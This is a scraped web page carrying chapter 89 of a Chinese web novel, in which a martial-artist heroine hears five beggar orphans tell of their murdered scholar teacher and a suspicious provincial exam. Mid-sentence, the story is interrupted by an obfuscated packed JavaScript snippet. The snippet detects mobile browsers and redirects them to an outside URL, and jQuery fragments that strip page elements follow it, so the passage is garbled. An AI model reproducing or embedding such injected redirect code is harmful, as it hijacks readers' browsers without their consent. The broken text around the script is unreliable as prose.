默认冷灰
24号文字
方正启体

89.第 89 章

作者:是李本书字数:K更新时间:
    李沐奕家的水,大家争抢着给打,孩子们有王巧云和杨灵芸母子两人看着。


    打水花费一晚上加一上午,打完后井里水位下降了一半多。


    纵使如此,石敢当他们不敢、也不会说一句话。


    等她回去,王长河他们已经醒过来,赵文竹把过脉后说没有大碍,明日便可以正常出发。


    下午,她陪孩子们玩了一会,思来想去,趁着有时间,又教他们扎了半个时辰的马步。


    乱世里没有武艺傍身绝对不行,所以孩子们之后肯定要学武,再加上有自己在,他们不学武是真亏。


    当然她也不指望四个孩子能学出什么成就,能自保就够了。


    家族的内功心法和枪法不能外传,即使在异世,她也会遵循家规。


    所以她不会教他们这些,只会教他们,前世古武家族都知道的呼吸之法,配上家里允许外传的招式,足够他们自保无虞。


    孩子还小,又是刚开始,不需要扎多久马步。


    她本想慢慢来,奈何四个孩子喝过复制液后这一个月,体质变化非常明显。


    四个小家伙扎了半个时辰的马步,一声不吭还想要坚持。


    不能揠苗助长,她把几个小家伙劝去读书习字。


    看着他们跟在张行鹤身边,认真读书习字,丝毫没有贪玩走神,她放心靠在车轮上休息。


    五个乞儿看四个个孩子又开始学习,全部围到了附近。


    自从他们五个跟着队伍走后,每次张行鹤教孩子们学习,他们五个便会围过来。


    今日的学习时间结束,张行鹤实在有些好奇,这五人像是之前学过,但又不像真正学过,他之前一直没问,今天时间不紧,他便问了。


    此时该做晚食,李沐奕睁开眼准备晚食。


    几个孩子的老大听到张行鹤的问题,有意拉近彼此的关系,便把他们五个的过往说了。


    “我从小就是个乞丐,有记忆起就跟着干爹,干爹姓王,我便叫王大,今年十五岁。”


    “后来干爹捡到王二,当时他懵懵懂懂说自己六岁,那便是比我小一岁,所以排行老二,干爹在那年冬日的大雪里得了风寒去了。”


    “从此我和王二相依为命,几年之后又捡到三个小的,已经养了五年,今年十二岁。”


    “我们的落脚地一直是一个破庙,那破庙是我干爹争下的地盘,干爹死后其他乞丐想把我们赶走,当时我和老二不要命的和他们打了一场。”


    “我俩一个七岁一个六岁,算是惨胜,那两个人被我们打瞎了眼、打瘸了腿,便再也没人跟我们争了。”


    “那时我们还以为是我俩厉害,其实是干爹之前帮过的陈叔,暗地里帮我们收拾了他们,才没人敢来欺负我们,要不然我们两个小屁孩子,哪里护得住一个破庙。”


    “三年前,我们在街上遇到一个疯疯癫癫的人,大家都叫他疯子。”


    “看他差点冻死在街头,我想到了干爹,就把他带了回去。”


    “半年后,他恢复了一些神志,但还是会时不时失去控制变得疯癫,他让我们在他发疯时,把他绑在庙里,以免走丢,他清醒时对过往只字不提。”


    “师父正常的时候会教我们读书,教我们做人的道理,有两次疯癫时他说自己是秀才,我们本不相信。”


    “本以为一辈子也就这样了,可有一天师父的仇家找上了门。”


    “他们刺了师父,以为他死了,把破庙翻了一个底朝天,什么都没翻到便去外面寻我们。”


    “当时我们五个出门乞讨才逃过一劫,那几人满城找我们,我们几个对府城的大街小巷很熟,他们怎能找到我们。”


    “我们把他们引走,返回去找到师父。”


    “师父醒过来后,我们见他从供桌下的地砖里,拿出两封信,我们带着他去后山,他只来得及告诉我们,让我们悄悄的,别被人发现,去汉中府找他一个举人朋友,就去了。”


    “一封信封已经泛黄,一封是师父在前几日写好的。”


    “我们把师父安葬后出发,外面到处都是流民,乞讨的人何其多,他们根本发现不了我们,我们靠着打听,花了四个月才走到这里。”


    王远胜和王青云过来,找李沐奕商量明天出发的事,就听到了这么一段话。


    两人对视一眼,看向李沐奕。


    张行鹤楞在当场,杨灵芸脸色变了。


    李沐奕皱了下眉,又是追杀又是信的,这五个似乎是炸弹啊,真好,人生处处是惊喜:“那两封信你们看过吗?”


    王大他们五人,看着大家的眼神,反应过来这件事好像比他们想的麻烦。


    王大愣住没开口,王二接话:“师父不让我们打开那封泛黄的信,我们只看了师父新写的那封。”


    他看着王大,王大点点头,王二接着说:“信上只是普通的问好而已,托他照顾我们几人,并没有其他的。”


    “我有个问题,你师父何时写下的这封信。”这是让李沐奕奇怪的地方之一。


    “我知道,事发前不到十天,那天天师父忽然跟我们要钱,他拿钱找写信的书生,借了纸笔写了那封信。”王小五抢着回。


    “他在那段时间,可有什么特别反常的行为?”李沐奕总觉得哪里还有问题,但说不上来。


    几人思考良久,除了王四之外其他人都摇头。


    所有人目光看向她,她看大家都看着自己,想要张开的嘴怎么都张不开。


    王二拍拍她的肩膀,鼓励道:“小四,这件事很重要,你知道什么一定要说出来。”


    王四吸了好几口气,又背过身去,才鼓足勇气开口:“师父写信前几天,我有一天很难受,你们怕我得了风寒,没让我出去,记得吧。”


    “记得。”几人开口。


    王四接着讲:“师父出去了一趟,最少一个时辰才回来,当时我躺在稻草堆里醒着,但是难受的不想睁眼。”


    “师父以为我睡着,在那里自言自语,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981504|191002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他说他们来了,他们找到我了,他一会说要走,一会又说走不掉的,这就是我听到的,不知道有没有用。”


    “小四,你怎么一直没说过?”王大疑惑地问。


    “说出来也没用。”王四背对着大家在那里装蘑菇。


    李沐奕听到小四这个称呼又想到了一个问题,问出她一直觉得不对的地方:“你们师父,为什么没有给你们取正式的名字?任由你们这么叫着。”


    “对,你们师父说他是秀才,名字本就可以由师门长辈所赐,他为什么不给你们取名字?”张行鹤慌张地问。


    王大叹了口气,瘪了瘪嘴说:“他从来都没有承认是我们师父,只是我们这么叫而已,他最开始就说过,让我们不要与他有太多瓜葛,会出事的。”


    李沐奕深吸了一口气,或许真是个大雷:“我再问最后一个问题,你们知不知道,你们师父的朋友是哪一年的举人,你师父是不是和他一起科举的。”


    “是四年前,他们是一起科举的。”王大回。


    听到这里,杨灵芸和张行鹤怔怔地看着王大。


    杨灵芸提着一口气,询问王大,他师父的相貌。


    王大描述后,母子两人又泄了气,不是他。


    两人不知道该作何感想,是该庆幸于自己夫君或是自己父亲没死,还是该伤心于他依然杳无音信。


    “杨姐姐,我问你个事情,你的夫君是不是四年前去科举失踪的。”李沐奕揉起了额头。


    他们也相处了一段时间,虽然杨灵芸母子二人,没有完整说过家里男人的事,但通过平常的只言片语,她也知道了一些。


    “没错,是四年前,我们曾去府城打听过,给银钱、搭关系问过布政使府的同知,他说我夫君根本没去参加乡试。”杨灵芸像是一个失去了灵魂的玩偶,机械地回着话。


    李沐奕看着五个乞儿:“我劝你们不要去找你们师父的朋友,去了大概只有死路一条。”


    “为何?”王大满脸疑问。


    其他人也看向李沐奕,他们明白不对劲,但不知道到底怎么回事。


    李沐奕把在场几人叫的近了些,把声音压到仅他们能听见:“按我们现在所知,四年前的那场乡试,有三人参加了,张行鹤的父亲、你们的师父、还有你们师父的朋友。”


    “要去参加乡试先要考中秀才,这个知道吧,秀才的地位虽没有举人高,可在我们普通人眼中已经是很厉害的存在,能让秀才出事可不是一般人能做到的。”


    “可三个秀才,在省城同一场科举中,一个疯了被追杀致死,而他的朋友却考上了举人,还有一个失踪到现在毫无音信。”


    “杨姐姐母子曾去省城,也就是你们五个出来的长安府打听过,说他夫君根本没参加乡试。”


    “这可奇了,秀才领了浮漂没参加乡试,官府一直没通知书院或者杨姐姐不说,反而在他们打听的时候推脱、避而不谈,这说明什么?”


    所有人似懂非懂,摇摇头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)